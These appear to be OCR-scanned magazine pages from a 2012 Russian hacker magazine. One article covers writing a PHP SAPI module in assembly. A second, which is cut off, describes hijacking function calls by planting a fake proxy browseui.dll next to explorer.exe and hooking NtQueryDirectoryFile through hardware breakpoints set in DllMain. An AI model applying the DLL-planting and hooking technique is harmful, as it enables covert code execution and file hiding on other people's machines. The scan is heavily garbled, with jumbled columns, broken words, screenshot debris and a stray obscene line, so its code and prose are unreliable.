а затем вызывается, когда дв ижок решитслить небуферизирован ные данные через SAPI клиенту. flush -callback, который вызывается, чтобы отправить клиенту через SAPI буферизирова нны е данные . Любопытный параметр sегvег_соntехt - зтоуказа т ель на память, выделенную при
инициализации
SAPI (память под произвольную глобальную структуру, не sapi_globals (SG(]]]. Данный <<context» валидендля
•
все объявления ниже будут д аны на родном для РНР язы
INI
ub_write- очень важный callback. В функции php_output_activate он сохраняется в глобальной переменной OG (php_headeг_wгite],
•
FASM,
ке Си. Первым делом в SАРI-модуле нужно запустит ь TSRM (Thгead Safe Resouгce Manageгl и получить tsгm_ls . Д елается э т о уже
Параметры
Параметр
началом каждого запроса.
сообщений
когда РНР что-то не нравится. Пара
метры содержатуровень ошибки
(E_WARN IN G,E_NOTIC E итак
далее], форматную строку (pгintf] и ее аргументы.
и
сы паться
будет направлен в stdeгг. О параметрах функции ts_гesouгce_ex мы уже говорили в про
всех накопленных
шлей статье. Отме т им только, что этим вызовом мы заставляем
send_headers- вызывается д ля отправки
•
send_header- вызывается, если send_headeгs не установлен или вернул SAPI_HEADER_DO_SEND. Если не было возмож
указатель на tsгm _tls _e ntгy.stoгage.
ности отправить сразу все заголовки callback'oм send_headeгs,
Запуск
то в таком с лучае они буд ут отправляться с помощью вызовов
cinvoke tsrm_startup, l , l , e, e cinvoke ts_reso urce_ex, e, e mov [tsrm_ls],eax
выделить новый !п ервый ] экзем пляр tsгm_tls_entгy и вернуть
хидеров клиенту.
send_headeг для каж д о г о.
php_jni_path_override- ecли установлен, то замещает путь
php.ini
в функции
php_init_config,
TSRM
которая вызывается из Дальше необходимо инициализировать структуру
php_module_staгtup .
•
э то
debug_level задает максимальный уровен ь отла д очных TSRM. debug_filename задает имя файла, куда буд ут отладочные сообщения . Е сли указан NULL, то вывод
•
поиска
expected_resources-
нет особых причин, они устанавливаются равными единице.
всех потоков. Устанавливается через SGiseгveг_context] перед
sapi_error- дергается,
expected_threads
размеры таблиц tsгm_tls_taЫe и гesouгce_types_taЫe. Е сли
executaЫe_location - указатель на строку с именем ехе-модуля
sapi_module_stгuct в соответствии с собственн ы ми пожелания
SAPI .
ми и передать ее функции sapi_staгtup.
ini_defaults-ф yнкция дергается, когда необходимо инициали зировать начальные настройки
INI . Вызывается еще до поиска php.ini. phpinfo_as_text- ес ли 1, то в выводе phpinfo(] н е буд е т html-
SAPI_API void sapi_startup (s api_module_struct *s f);
тeгoв, ес ли О - будут. Отсутствие тегов пр е д усмотрено, например,
за п о лн енную структуру.
и разбора
для вывода консо льны х SА РI -модулей.
•
Един ст венным пар аметром является указа тель на только что П осле вызова sapi _st aгtup пр и нят о вызывать
callback
staгtup.
ini_entries- кусок строки конфигурации . Имеет вид <<op t1= val 1\nopt2=val2». Обрабатывается в самом конце инициа лизации настроек php.ini - уже после поиска и парсинга файла. additional_functions- массив функций, которые хочет зареги стрировать SAPI. Массив объявляется так же, как и в расширениях
уточнение : в функции sapi_staгtup принудительна обнуляется
РНР.
поле структуры ini_entгies, поэтому ДО вызова sapi_staгtup его
int (*startup )( struct _sa pi_module_struct *s api_module); В параметре указатель на нашу структуру. Единств енное
инициализирова ть не имеет смысла, а инициализируют е г о как
АЛЬФА И ОМЕГА, ИЛИ НАЧАЛО И КОНЕЦ
SAPI
Сейчас, когда мы понимаем значение всех важных злементов
раз перед вызовом
callback'a
staгtup. Ко д его д овольно стандарт
ный, хотя ты можешь его д опо лнить п о с в оему усмо тр ению :
ХАКЕР
092
EPIDEMZ.NET
05/160/2012
Колбасим
SAPI
Но это как-то чересчур просто. Да вай придумаем ч т о-нибудь
i f (php_module_startup(sapi_module, NULL, e )==FAILURE) { return FAILURE;
поинтереснее.
return SUCCESS;
в байт-код, а затем уже выполняется на виртуальной ма шин е .
где php_module _s taгtup выглядит так:
ляция из строки [функция ze nd _c ompile _ stгiпg). Втор ой - из
РНР-код , как ть1 знаешь, первым делом « транслируется »
Компи лиро вать код можно д вум я с п особам и. П е рвый- компи
файла [функция zeпd _co mpile _f ile). Основная разница в том, что компиляция из строки не требуе т обязательно го указания
int php_module_startup(sapi_module_struct *sf, zend_module_entry * additional_modules, uint num_additional_modules) ;
РНР-тегов
П араме тр
additional_modules- указа т ел ь на п ервый э л е num_additional_modulesэлеме нт ов в массиве . Это означает, что SA PI может
мент масси в а zend_module_entгy. количество
выступат ь в роли РНР-расширения, даже нескольких. П о мне,
это полное из вр ащение, хотя и забавный факт lпрям в копилку
Н айджела Мюррея из сериала Bones). Н а этом инициализацию
SAPI
<? php и?>. Обе функции в озвращают указа т ель на
zепd_ор_аггау.
ZEND_API zen d_o p_a rr ay *compile_fil e( zend_file_handle * file_handle, int type TSRMLS_DC); ZEND_API zend_op_array * compile_string( zval *source_string, char * filename TSRMLS_DC);
пр ошу считать закончен н ой .
Точнее, не всю, а ее обяза т е льн ую часть. Мы ведь не хотим
Не спеши называть, подражая Хаусу, автора лжецом и идио
огра ничивать ся банальным выполнением РНР- кода? А тут уже
том , когда заметишь, что я привел описание других функций.
все зависит только от фантазии . Первое, что приходит на ум,
Я сделал это специально. На самом деле zeпd_compile_stгiпg
-регистрация своих функций. Для чего? Д а чтобы ты написал
и zeпd_compile_file - это указатели, которые по умолчанию
что-то вроде:
указывают на compile_stгing и
compile_fi le соответственно. Ис
п о льзовать эти функции несложно:
opentab(
'tаЫ' ); Комnиляция
и твоя программа послушно рас па хнула бы перед пользовате лем закладку <<tаЫ» . Круто? Я знаю три способа для регистра
ции : через поле additioпal_fuпct i oпslsapi_module_stгuct), при регистрации exte п sioп в
SAPI
ч ерез php _ module_staгtup, через
вызов zeпd_гegisteг_fuпctioпs [его-то и бу дем использовать в примере). Д альше - больше. Ты можешь зарегистрировать константы и переменные , чтобы с ними можно было работать из РНР-кода .
По сле выполнения ко да ть1 можешь проверять значения пере менньlх и, если они изменились, производить нужные изменения
в своей программ е. Те п ерь уже не кажетс я, что
SAPI- это
из
строки
скука
и каши с ним не с в а ришь ?:)
Комnиляция
Н о мь1 о т ошли от темы. Пр и завершении работы
РНР - кода
zval * src = NULL; zend_uint old_comp_options; zend_op_array* ор; MAK E_STD_Z VAL (src) ; ZVAL_STRING(src, "echo 'test' ;" , е ); old_com p_optio ns = CG(compiler_options); CG(compiler_options) = ZEND_COMPILE_DEFAULT_FOR_EVAL; ор = zend_compi le_string(src, "" TSRMLS_CC); CG(compiler_options) = old_comp_option s; FREE_ZVAL(src);
SAP I необхо
димо выз вать три функции.
int (*shutdown)( struct _sapi_module_struct *sapi_mod ule ); SAPI_API void sapi_shutdown( void ); TSRM_API void tsrm_shutdown( void );
РНР-кода из файла
zend_op_array* ор; zend_file_handle zfh; memset(&zfh, e , sizeof (zend_fi l e_ha ndle)) ; zfh.type = ZEND_HANDLE_FILENAME; zfh.filename = "script.php" ; ор = zen d_compile_fil e(&zfh ,ZEND_EVAL TSRMLS_CC); zend_destroy_fil e_han dle(&z fh TSRMLS_CC) ;
П ервая - это callback из sapi_module_stгuct [в него мь1 по мещаем адрес php_ module_shutdowп_wгappeг). Следующие две завер ша ю т р rбо ту
SAPI и TSRM
соответственно.
Для выполнения пол учен ного массива оп кодов существует функция
КОМПИЛЯЦИЯ И ВЫПОЛНЕНИЕ КОДА
zend_execute, указ ывающая п о умолчанию на execute.
ZEND_API void execute(z end_op_array *o p_array TSRMLS_DC);
Вообще движок пр едоставляе т функции php_execute_scгipt и zend_eval _ stг ing , котор ы е уд обно использовать, например, так:
Переднепосредственным запуском функции
execute было бы
неплохо сохранить [чтобы потом восстановить) и п ереназначить несколько опций выполнения, а главное- настроить
zend_file_handle file_handle; file_handle- >type = ZEND_HANDLE_FP; file_handle- >opened_path = NULL; file_handle- >free_filename = е ;
выполнения и вызвать dеstгоу_ор_аггау:
if (!(ble_handle- >handle.fp VC\oiO_FOPEN(script_ble, "rb" ))) { php_printf( "Could not open input file : %s \ n" , script_ble); return FAILURE; file_handle- >filename = script_file; php_execute_script(&file_handle TSRMLS_CC);
ХАКЕР
bailout. П о
сле выполнения РНР-кода восстановить все измененные опции
ZEND_API void destroy_op_array( zen d_op_array *op_array TSRMLS_DC); Функции ком п иляции и выполнения при этом необходимо за клю ч ить в оболочку из вызовов:
PHPAPI int php_request_startup(TSRMLS_D); PHPAPI void php_requ est_s hutdown( void * dummy); Таким образом мь1 эмулируем за п рос пользователя к веб-
05/160/ 2012
093
EPIDEMZ.NET
КОДИНГ
серверу. Если этого не сделать, то начнется неразбериха с заголов
ками [headeгs] и прочими радостями отдельного запроса.
вытянет для тебя пару килобайт данных из MySQ L БД ... Н о это все банально, и с этим справится даже обычный консольный lc li] РНР-клиент. Мне же хочется чего - нибудь этакого. Например, я
BAILOUT И
ОБРАБОТКА ОШИБОК
всегда мечтал, чтобы tоггеnt-клиент ~Тоггеnt имел в своем арсе
Как было сказано выше, РНР использует термин bailout [«сnасе ние»] для отлова ошибок во время выполнения скрипта. За этим
термином скрывается JMP_BUF [возможно, уже тебе знакомый].
нале скриптовый движок. Представь, что он есть. Ты можешь повесить РНР-триггеры на добавление торрента,
старт закачки
1останов 1 паузу,
завершение закачки торрента .
Можешь повесить на отдельный торрент скрипт, который вы-·
полняется раз в 5/10/20 минут. Теперь представь, что на ресурсе,
struct _zend_executor_globa l s
который ты мониторишь, выкладывают озвученную серию
твоего любимого сериала. Ты скачиваешь тор рент, добавляешь
JMP_BUF *bailout;
в клиент, пишешь или загружаешь скрипт, который начинает периодически выполняться после загрузки торрента. Сам,
};\
вспомнив, что уже три утра, а завтра на работу/учебу, отправ Смысл работы JMP_BUF заключается в следующем . Перед
ляешься спать. А в скрипте запрограммировано, что, как только
началом выполнения оп кодов SAPI сохраняет оригинальный bailout, затем, используя setjmp, сохраняет содержимое всех регистров и адреса возврата в новом bailout'e. Дальше остается только заменить старый bailout новым и начать выполнение. Но setjmp не просто сохраняет содержимое регистров, эта функция
гatio по текущему торренту превысит 1.0, он доложит трекеру,
еще возвращает результат. Если результат- «ноль>>, то сохра
а << ЧТО >> и << как лучше>>, каждый решит для себя сам .
нение прошло удачно и можно продолжать. В противном случае
отключит свой триггер и выключит компьютер, чтобы не тратить электричество. Круто?
Наш пример будет не таким жизненным, а на поверку вообще окажется лабораторным. Н о мое дело - только по казать <<как»,
Итак, при мер. Ради разнообразия я решил использовать ассемблер. Поэтому интерфейс будет, мягко говоря, спартанским
при выполнении произошла ошибка. Поймав исключение, движок РНР берет наш bailout и пере
lсм. рисунок]. Меню !«Компиляция>>, <<Выход»], две опции компи
дает функции longjmp. В ней совершается восстановление ре
ляции [из строки/текста и файла с диалогом выбора ] , TabContгol
гистров из jmp_buf, еах устанавливается в не нулевое значение
и две з акладки с RichEdit- одна для ввода кода, вторая для
и происходит прыжок ljmp] на адрес возврата из функции setjmp,
вывода результата. Без подеветки синтаксиса, нумерации строк
а если проще - производится откат на момент сохранения ре
и автодополнения [ну извините]. Описывать работу с GUI не буду
гистров. Возвращенное значение снова сверяется с нулем, а так
-она очевидна, да и статья не об этом.
как оно не совпадает, то и вызова
Инициализацию SAPI я выношу в обработчик сообщения WM_INITDIALOG и оформляю отдельной функцией lnitSAPI.
zend_execute не происходит.
Все эти страшные манипуляции скрыты за несколькими макросами :
В этой функции производятся уже описанные выше действия.
#define zend_try \
функции и без малого два десятка констант.
Кроме стандартных телодвижений, я еще ре г истрирую три РНР
{ \ EG function_taЫe cinvoke zend_register_functions,
JMP_BU F * __orig_bailout EG(bailout); \ JMP_BUF __ bailout; \ EG(bailout) = &__ bailout; \ i f (SETJMP( __ bailout)==0 ) { #define zend_catch \ } else { \ EG(bailout) = __ or i g_bailout; #define zend_end_try() \
е,
_register_function_entry, dword [е ах], MODULE_PERSISTENT, [tsrm_ls] cinvoke zend_register_long_constant, sMB_OK, sizeof.MB_OK, MB_OK,CONST_CS or CONST_PERSI STENT,
} \ EG(bailout) = __orig_bailout;\ } #define zend_first_try EG(bailout)=NU LL;
zend_try
е,
[tsrm_ls]
ТОЛЬ КО ПРАКТИКА СПАСЕТ ПРОЛЕТАРИАТ На данный момент ты уже знаешь достаточно, чтобы написать свой личный и неповторимый SАРI-модуль. Он сможет заменять тебе калькулятор, избавит от необходимости сохранять скрипт и обращаться к wеЬ-серверу, чтобы получить md5 - xeш строки,
_register_function_entry: PHP_FE messagebox,e,з
· SAPI
. ;,;
Файл
1
'I fuck this fucking world' ;
2 есЬо Sro ;l
SAPI н а Delphi. Мн о гоч и с лен ны е
к о мп о нент ы по м огу т сдел а т ь все кра с и во
ХАКЕР
091,
EPIDEMZ.NET
05/1 60/ 201 2
Колбасим
til"ul
~
tцi~ICИIJU,Pr.'ln~
~~~~proor_..g- ...
)(
PGiг egisteг_ globalsl=l. через передачу haгcoded ini
Иip~lol~
~ ""----------------------------1
._1
.-, .. D о- Ф 8t6
-
00001t -a11'8t•o-ot"o~.",.-cq~~t-coll'.ar1f<W1.>10r'"'•l280ШI....a.!p .. l8k•oO'L2.or.r_9CJ.J)W
.cf.otblo:
в sapi _ module_stгuct.iпi_entгies, прямым редактированием
в php .ini этой опции или п ри обрабо т ке callback 'a sapi_module_ stгuct.i ni
Go gle
php sepi programming
Search
AЬout
8S7 ')00 reWts
О
ИC'XIds
SAPI From Wikipedta, the &н encyclopedia Jump to niVISJitton, starch SдPI stand fof· Speкh Applic at ton Progromtnl11g lntl1fac:e, an API productd Ьу ... Seм:r Дpp~cation
Vldeos
"'8У
Зд есь мы регистрируем для nрим ера одну п е р еме нн ую
proqrammlnq !nterface - Wjkjpeфa the free
tuxrмlarcomlpractк:alp h pl21f2!2
l$ embedl с именем SАР I-м о д уля, а з н ачением с т авим имя РНР файла «sapi.php >>. Напоследок сделаем так , чтобы SAPI менял заголовок окна, если скрипт зарегистрировал переменную $tit le. Это можно осуще
The latter is particularly mponant · 'lltlen using the CGI SAPI calting /home/paull foo php would set the wotking dirкtory (wМre 11 refefences 61es and olher ...
ствить nоиском nер еменной в EGi active_symbol _taЫel .
en W!Jupedta
org/W!kJSetwr_Дpphcatюn_Progra mm l ng_lntl!fface
ln compu1er
scilrн:e,
the
S.Мr Applicatюn
Pro gremming lnterface (SAPt) 11 ..
Showrnon!resultsfromwrk!pt(lqorg СЦ
All results Rtlatedsearches
SAPI d!ffereoces 1practtca! РНР Proqrammina 1IyxRadar 1roox
РНР
on Wшdows rproqramm jng РНР \ docstore mtk ualorelly/webl.nux2/php/th1 5_01 htm You11 need а program s~~th as WlnZip (http llwwtN Wll'llip com) to extrкt the ZIP file
Moresearch tools
AJ the root l..wl ... Add th1s to httpd conf to conflgure РНР as
а
proc post_exec_work с uses еЬх ed x есх esi edi locals tmp dd ? endl EG active_symbol_taЬle lea ebx,[tmp] mov dword [еЬ х ] , е cinvoke zend_hash_find,dword (eax],title, sizeof .title,ebx test еа х,еах jnz @F mov ebx,[tmp] mov еЬ х, (еЬ х ] mov еЬх,[еЬх + zval.value.str.val] invoke SetWindowText,[main_wnd],ebx ret
SAPI module .
t SAPI LtleSpeed Server Apoi!CQ!ton Progrnmmjnq !nterface Ьtespмdtadl comllsapi-l!tвspeed-ser.oer-~ICiitюn-programming -1111
LSAPI lrteSpнd $$m Appitc8t1on Programmlng lntetface. POF Pnnc E-mail lnttoduttion UeSpнd SAPI is а рюсосоl designed speciicaly lor communicat1on .. РНР LlleSpeed SAPI The РНР SAPI with the Ь.11 petformanc.llld allthe .. РНР РНР
auf der Kommaodozetle . Manua!
php netlmarwalldetfeatures commandhne php - Translate thiS page Seit Version 4 3 О unletsШtzt РНР einen neuen Тур SAPI (Seмt Application Programming lnt~кe) namens CU (Command U!e ~еdке) Wie der Name рне
Cornmaod line цsше - мanua t
php netlmanuallenJteatwes commandllne php (Oiink hltpJiwww php netlmМJ81fetlfЬ'ICIIOn php-sapi-name php
РНР_SAPI
...
:t! Show mOI'e results tom php net
Google не знает,
defaults. Я воспользовался hardcoded ini .
proc pre_exec_work с uses еЬх есх ed x esi edi cinvoke php_register_variaЬle,sapi_name, php_file, e,[tsrm_ls] ret endp
SAPI - Wikipedja the fтее encyc!opedja .n Wlk!J*It~ orgfwikV'SAPI M1ps
SAPI
как nисать
SAPI, а ты знаешь!
PHP_FE getwindowpos , e,e PHP_FE setwindowpos,e,4
@ХР :
rd 5
invoke SetWindowText,[main_wnd],title_default ret
Как ни к р у т и, н о име нн о регистрируемые функции приносят
endp
80 % пользы от интеграции РНР в проект. Функция
messagebox-
это шлюз к о дн оименной функции
Windows . getwindowpos возвращает в масси в е координаты окна SAP I и е г о размеры. setwindowpos может изменять положение
Если переменная найдена- устана вл и в аем за г оло в ком ее значение, если нет- восстанавливаем заголовок по умол ч анию .
Принциn,думаю, nонятен. Вот, собстве нн о, и все, что тебе может nо н а д об ить ся для раз
ок н а и, при желании, размеры.
Регистрируемые константы- это тип окна диал ога вр о де
MB _YESNO и возвращаемые значения наподобие IDTR YAGAIN. Едем дальш е. Можно предоставить скрип т у уже зарегистри
рованную и инициализированную переменную [и л и несколько!.
работки своего SАРI-модуля . Е сли я что-то уnустил- п о копай сорцы, которые лежат на диске , в них вполне реально разо
браться, д аже несмотря на то, что они на ассемблере . И напоследок небольшой сове т. Возьми знания из статьи
Например, относительно фантазии с торрентом это могут быть
по разработке расширений , прибавь полученные только что
массив пиров и так дал ее. Зарегистрировать пер еме нн ую можно
совсем чуть-чуть отличается в программировании от напи с ания
неско ль кими с п особами, но ос т ановимся в кои -т о ве ки на ле
расширений, а вот пользы прин осит намного боль ш е . ::х:
такие перем ~ нные : текущий гatio, скорость upload/download,
и смело начинай творить свой шедевр. Ведь, как ты п онял,
SAPI
гальном :
PHPAPI void
php_regis ter_variaЫe(
char * var, char *va l, zval * track_vars_array TSRMLS_DC);
А ЧТО ЖЕ
UNIX?
var- имя регистрируемой п еременной. val- значение. track_vars_array- массив , в котором регистрируется пере
Как уже было сказано, в н иксах
менная. Все бы ничего, но мы-то знаем, что переменные хранятся
объектных файлов. Но лично мне не хотелось бы , чтобы мой
в EGi active_symbol _ taЫel, а это совсем н е zval* Как вариа нт,
модуль раздулся на несколько мегабайт. Хорошо , что есть
можно было бы создать такой массив, зарегис триров ать в нем н е
и другой способ. При конфигурировании можно указать опцию
SAPI
собирается из кучи
ско лько наши х переменных и подм е нить EGiactive _sy mb ol _taЫel
- -enaЫe-embed=shaгed или --enaЫe-embed=static, т о гда после
нашим массивом. Н о есть с п особ проще. Мы можем передать
make nоявится динамическая или статическая библиотека libphp5.soi .a) . С ней уже можно без n роблем линковать модуль , не боясь увидеть undefined геfегепсе .
в tгасk_vа гs _аггау
NULL, и тогда переменная буд ет реги
стрироваться в существующем массиве. Но для это г о н ужно « включит ь >> опцию гegisteг_globals любым с п особом: через
ХАКЕР
095
05 / 160/ 20 12
EPIDEMZ.NET
КОДИНГ
слесарь шестого разряда ltras hge nramail.ru , lrashgen0 jab ber.ru.l
Trash « CatX» Gen,
,
ПЕРЕХВАi ФУНКЦИЙ ПРИ ПОМОЩИ БУБНА,
DLL PRELOADI G ATTACKS
И ОТЛАДОЧНЫХ ИСКЛЮЧЕНИЙ
'
,,
\
... НЬIИ •
•1 Сплайсинг точек входа функций
отно с ительный путь и имя Интересно , что п оиск биб л иотечно-
с «трамплином», дизассемблером длин, а то
го модуля для загр у зки !при условии, чт о нам дано лишь имя
и вообще с остановкой потоков процесса,
патчитаблиц импорта/экспорта, запись в память и создание удаленных потоков ... Тебе
библиотеки без пути! осуществляется в строго о предел енной последовательности : сначала в ката л оге с программой, иниции ровавшей создан и е процесса, в текущем каталоге, в путях, ука
занных в переменных сре ды lsystem32, system , etc.l, и так далее. Порядок поиска и будет ключев ым моментом в наш их начин ания х .
все это не надоело? В своей статье я предложу
Как же нам это ис по льзовать? Да легко . Во зьмем какое-либо по
совершенно другой подход к перехвату-без
из
модификации кода функции или заголовков.
п улярное приложение , например ехрlогег. ехе !да л ее « п ациент >> l
WinXP
х32 , и , ис nол ьзуя любой просмотрщик им п ор т ов , изучим
в н ем имена библиотек , которые з агрузчик будет пр ое ц ировать в адр есное про с транство п ри создании процесса . Та кже по с мотри м количество и названия функций, адреса которы х буд ет за nолня ть загрузчик в импорте, - для реализации коварного
пл ана эт о будет немаловажно !н ам желатель н о , чтобы ф ункций Н и д ля кого, думаю, не будет откровением, что РЕ-файлы им еют
таб лицу им п орта, говорящ ую системному за гр узчику о т ом,
бы ло по меньше ! . Итак , д опустим, мы выбрали биб лиот е ку bгows e ui . dll , н аше-
к акие мод ули н уж но грузит ь в а др есное пространство проц есс а
му па ц ие нт у из нее н еобхо димы буд у т а д реса ч е тыр ех функц ий,
и адр есами каких эксп ортир уемых из этих мо д улей функций за
экс п орт ир уемых по ординал ам lт о ест ь не по имени, а по но ме ру!.
полн ить таблицу им пор та перв ич н ого модуля, который ини ци и
Теперь проверим, загружает л и сис т ем а библи о т еку, как мы то го
ровал создание проце сса. То есть ты дважды щелкаешь мышью
хотим !очень м н огие системные биб л ио теки гр уз ят ся п о абсо
п о ехе- файлу, и в нед рах си с т емы начинают вр ащаться около
лютному пути, такие н ам не п одой д ут! . П ровер ить библиотек у
де вяти ты сяч ше стеренок , приводящих в действие механизмы
на п ри г о дност ь довольно пр осто : создади м в каталог е п ациента
с озда ния процесса. Сто ит также у п омянуть, что загрузка би
пустой файл с и м._енем и расширением выбра нной нами библио теки
блиотек в таком сл учае н азывается статичес ко й , а динамической
l « bгowseui . dll >> l и п опробуем запустить тестируем ое прил ожение .
-когда код самой программы загружает !испо льзуя ф ункции
Так-так, о н о выдает с ооб щ ение о том, что bгowseui.dll не является
LoadlibгaгyA!keгпel . dll, LdгloadDII!пtdll . dll ,
образо м программы
etc.l какую-либо
библиотеку, используя ее имя, или абсо лютный путь и имя, ил и
WindowsN T, и
закрывается. З начит, экспери
ме нт прошел ус п е шн о, паци ент нашел биб лиот еку в с в оей папке ,
ХАКЕР
096
EPIDEMZ.NET
05/160/2012
Извращенный п ерех в а т
:; М!
Ordnal
01001008
ffii1 01001004
@ 01001054
5iJ 01001050 5iJ о 100 104<:
@ 01001048 ~ ~
Name
L.Юr~rv
GetuserNt~me'Ф/
ADVAP!J2 ADVAP!J2
RegEnumКeyExW
106 107
IJS 118
0100 1000 0100 1004
18- - -
EJ
lmports
дddress
_ imp _SНCreateFromDesk top ~ imp SНExplorerParseCmdLine ~4 lmp Getlnfoiip (ф lб imp UEМRegisterNotify ~8
6RO\~SEUI
BROWSEU! ВRO~ISEU!
BROWSEUI
CreateFontindirect\t./
GD!J2
~e teOЬject
GD!J2
Ищем nодходящую кандидатуру
а не в системной и, попробовав ее загрузить, поперхнулся. Е сли же
mov eax,dword ptr[ea x ] ; mov eax,dwprd ptr[ea x ] ; mov edx,dword ptr[ea x+B] .elseif еах == DLL_THREAD_ATTACH mov eax,dword ptr[ebp] ; mov eax,dword ptr[ea x ] ; mov edx,dword ptr[eax+B] . endif assume edx: ptr CONTE XT xor еах,еах inc еах ret 4* 3
2 stack frame 3 stack frame arg ZwContinue 1 stack frame 2 stack frame ;arg ZwContinue
нет, то идем в просмотрщик импорта и ищем другую библиотеку. Теперь не особо слож ным моментом будет соз дать н е просто
файл нулевой длины, а н ормаль н ую биб ли отеку !так называемый wгарре г] , ко т ора я будет экспортировать функции, нужные нашем у
П омимо значений регистров общего назначения, в контексте сохранены значения о тлад очных регистров .
К отладоч ным регистрам от н осятся DгО-Dг З - вирт уа льны е
пациенту. Вн ут ри этих ф у нкций будем за гр ужат ь по абсолютному
а д реса аппаратных точек ос тан о ва , Dг6- регистр сос тояния
п ути ори гинальн у ю библиотеку и запуска ть из нее о ригинальны е
отла д ки, Dг7- реги стр у пр а вления отладкой !набо р флагов,
функции . Вот как это может выглядеть:
определяющих остановы дл я в ир т уа льны х адресов в регистрах
DгО-DгЗ, биты , опре д еляющие э т и значения , можно по смотреть
FakeSHE xp lorerParseCmdline push 107 call FindOriginalFunc jmp еах FakeSHE xp lore r ParseCmdlineendp
proc
здесь : wa sm . гu/а г tic le. р hp?a г ti с 1е = d ebu g геg 1.
;ord 107
Аппаратные точки ос т анова - это как раз то , что нам н ужно . Если поставить та кой бряк на перв у ю инстр у кцию функции , котор у ю мы хотели бы перехватить, а затем отлови ть исключение , генерируемое системой при выполнении этой инструкции , - это
даст нам возможность в обработчике исключе н ий реализовать Аргументы функ ции уже ле жат на стеке - нам остается только
любую логику для перехватываемой функции. То есть п ерехват
найти адрес функ ции по ор динал у с пом о щью нашей функции
ф у нкции буде т реализован не через привычную подмену адреса
FiпdOгigiпaiFunc и запустить. Это не Си- нам да же возвращать
в табли це , не через с пла йси нг первы х инструкций, а через ус та
з н а ч ен ие не н уж но , оно и так будет в еах.
новку а ппаратног о бряка.
Каркас г о т о в , проб уе м запускать приложение. Есл и все раб о та ет, то это уже недурно, черт в оз ьми! Вотта ким простым образом мы
Пример процедуры установки/снятия хардварного бряка на
довольно лихо перехватили функции в библиотеке bгowseui . dll, но
функцию
х итрость в т ом , что они нам со вершенн о не н ужны! vv Bce зто было нам нужно только для т ого , чтобы наша библиотека была загруже на вместе с пациентом. Есть и др угие способ ы достичь желаемого , но это наиболее про стой и, как ни странно, бес пал евный . Теп ерь же перейдем непо сре дственн о к перехвату-для каж до й п ере
х ватываемой функции wгаррег дел а ть я не пр е длагаю ;].
ПОДГОТОВКА К ПЕРЕХВАТУ Каждая биб л ио тек а lпо крайней мере, каждая нормальная би б лиотека] имеет саii Ьасk-функцию !чаще и звестн ую как DI IMain ], которая вызывается при создании/завершении пр о це сса и при соз дан ии/за в ер ш е нии потока . Та или иная причина вызова функ ции о пр е д еляется з н а чением флага в аргументе геаsоп. Когда в процессе соз дает ся поток, система у в е д омляет каждую загр у женную в процесс биб ли отеку, запуская саiiЬасk-функ цию
NtQueryDirectoryFile ReSetHook: ; в еЬх регистре передается указатель на контекст потока assume ebx:ptr CONTEXT xor е а х , е а х ; обнуляем е ах mov [ebx ].ContextFlags,CONTEXT_FULL \ or CONTEXT_DEBUG_REGISTERS ; указываем во флагах структуры ; CONTEXT, какие регистры мы можем перезагрузить mov [ebx].iDr7 , 101010101b в Dr7 устанавливаем флаги, указывающие ; на используемые регистры адресов хардбряков ; и условия остановов .if [ebx ].iore == еах ; установлен ли сейчас бряк push dword ptr[_imp__ NtQueryDirectoryFile@44 ]
с арг у ментом DLL_THREAD _ AПACH . Н епосре д ст в е нн о ко д по тока б удет запу щ ен только после того, как все ф у нкции D IIMaiп отработают. Прич ем уве домл ение происходит даже при соз дан ии первич н ого потока процесса, то есть еще до запуска WiпMaiпl А теперь маленькая хи трость . Д е л о в т ом, что м ы можем п о
лучить из DIIMaiп контекст потока !см. врезк у] . Представь себе,
.._
о- ·
ко нт екст п о то ка, т очка в хо да которого еще даж е не получала
хране нны й контекст на хо дится в стеке, и во всех системах IWiп X P
.
и выше] адрес е го можно найти так:
-- On,611-'b 0.0\n e еебс:
уп равления , уже д ос т у пен нам в статически загруженной DLL . Со
~
CONTEXT
из
OllMain
\5.04.2008\,:00
ОК&!<-.~ ...
!I'J ~n.~
.. .....,
.
a ~ фa.in
'AplorN f'XI'
Поиск указателя на структуру
- - -., ~ n.otxotl
1 0 \0К&~et<IIC
II{'П!'pttl>l.,
o6p.u
~-~oor~ C:~tl:.-d SCttro;t'Nrotk'f>.._oo\C10JI....,.,.../'IOOILIO)IeliЬ"~:r\tt$~.cl ~ -rCIIo6iм)OIO r -уст~JIНОСА .
статически загруженной библиотеки
DllEпtry :
;proc hinstance:HINSTANCE,\ ;reason:DWORDJ reserved1:DWORD mov eax,dword ptr[esp+B] ;reason . i f еах == DLL_PROCESS_ATTACH mov eax,dword ptr[ebp] ; 1 stack frame
ХАКЕР
НАШ КЛИЕНТ!!11 Проверяем на nригодность
097
05/160/201 2
EPIDEMZ.NET
КОДИНГ
если
нет
-
кидаем
в
стек
адрес
перехватываемой функции
.else push
если
е ах
да
-
кидаем
в
стек
-·--- ~ 10--1<. 10100-
нуль
tt1.1: l.t: .....
•о--.. ••е: I < I _ I _ N o i i.OO
60_...
. endif
tl-1:
I I C I ' - t _ &_ t >.O:
рор
[ebx].iDre ; вы к идываем из стека assume ebx:ptr поnе ret
в
Dre
нуль или адрес функции
ПЕРЕХВАТ Итак, сначала в
DIIMain
нашей фейковой библиотеки nри создании
процесса мы устанавливаем векторный обработчик исключений.
Результат
В нем мы будем получать все исключения в процессе, в том числе и те , что будут возникать при активации аппаратных точек останова.
мы и выделили в локальной памяти потока ячейку. Суть его за
Далее в
ключается в следующем.
DIIMain
nри обработке DLL_THREAD_AПACH мы ищем в nа
мяти контекст nотока и устанавливаем бряки на выnолнение nервы х
Снимаем нашу точку останова, возводим флаг трассировки
и н струк ц ий функций, которые хотим nерехватыват ь [до четырех
в регистре флагов и в я ч ейке
штук,
no количеству ре г истров аn n арат ны х бряков DгО-DгЗ]. Таким образом код в DIIMain будет изменять контекст всех создающихся
некую конста нт у, п о которой будем ориентироватьс я в обработчике
nотоков начиная с nервичного. Также не забудем nри инициали
tls
зации nроцесса создать tls [Thгead Lo cal Stoгage], чтобы каждый
кода в перехватчик функции. При хардвар ных бряках, так же как
т ре д имел
no локальной
tls
изменяем значе н ие. Запишем туда
исключений, где собственно выполняется код. То есть значение
для nотока ячейке nамяти. Зачем это нуж
индекса будет своеобразным флагом входа исполняющегося
и при пошаговом исполнении программы [при возведенном флаге
но- далее. Н у что же, теnерь осталось лишь наnисать обработчик
трассировки], генерируется исключение
исключений, который система будет вызывать при возникновении
по которому мы однозначно идентифицируем одну из <<наших» ис
исключительных ситуаций. Обработчик исключений также имеет
ключительных ситуаций.
достуn к сохраненному контексту потока, в котором произошло ис
Если ин декс в
tls
STATUS_SINGL E_S TEP,
не инициализиро ван значением, п о которому
ключение . Тут существует много сnособов, как определить причину
